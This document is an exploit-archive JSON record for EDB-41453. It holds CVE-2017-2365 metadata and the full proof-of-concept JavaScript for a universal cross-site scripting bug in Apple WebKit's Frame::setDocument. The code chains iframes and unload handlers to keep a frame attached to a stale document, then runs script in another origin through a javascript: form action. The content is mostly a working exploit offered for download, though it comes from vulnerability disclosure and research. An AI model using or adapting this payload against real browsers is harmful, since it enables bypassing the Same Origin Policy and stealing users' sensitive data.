{"exploit":{"id":"EDB-41453","name":"Apple WebKit 10.0.2 - 'Frame::setDocument' Universal Cross-Site Scripting (XSS)","description":"Apple WebKit 10.0.2 - 'Frame::setDocument' Universal Cross-Site Scripting (XSS)","cves":["CVE-2017-2365"],"author":"Google Security Research","published":"2017-02-24","platform":"multiple","type":"webapps","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/41453","path":"exploits/multiple/webapps/41453.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-41453.html","vulnerabilities":[{"id":"CVE-2017-2365","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in certain Apple products. iOS before 10.2.1 is affected. Safari before 10.0.3 is affected. tvOS before 10.1.1 is affected. The issue involves the \"WebKit\" component. It allows remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted web site.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-2365","cvss":{"version":"3.0","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-2365"},"updatedAt":"2024-08-05T13:55:04.090Z","retrievedAt":"2026-11-27T16:12:17.159Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-41453.png?v=2","url":"https://exploitbin.com/exploits/EDB-41453","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-41453/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-41453/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!--\nSource: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057\n\nHere's a snippet of Frame::setDocument.\n\nvoid Frame::setDocument(RefPtr<Document>&& newDocument)\n{\n    ASSERT(!newDocument || newDocument->frame() == this);\n\n    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)\n        m_doc->prepareForDestruction();\n\n    m_doc = newDocument.copyRef();\n    ...\n}\n\nBefore setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.\n\nPoC:\n-->\n\n\"use strict\";\n\nlet f = document.documentElement.appendChild(document.createElement(\"iframe\"));\nlet a = f.contentDocument.documentElement.appendChild(document.createElement(\"iframe\"));\n\na.contentWindow.onunload = () => {\n    f.src = \"javascript:''\";\n\n    let b = f.contentDocument.appendChild(document.createElement(\"iframe\"));\n    b.contentWindow.onunload = () => {\n        f.src = \"javascript:''\";\n\n        let doc = f.contentDocument;\n\n        f.onload = () => {\n            f.onload = () => {\n                f.onload = null;\n\n                let s = doc.createElement(\"form\");\n                s.action = \"javascript:alert(location)\";\n                s.submit();\n            };\n\n            f.src = \"https://abc.xyz/\";\n        };\n\n    };\n};\n\nf.src = \"javascript:''\";\n\n<!--\nTested on Safari 10.0.2(12602.3.12.0.1).\n-->","sha256":"958acf0c16b0370abee85e04b1aba0242943e85d9209b51eec12633ed0d7cb79","bytes":1591,"fetchedAt":"2026-11-27T16:12:16.050Z","encoding":"utf-8 (display only; download retains original bytes)"}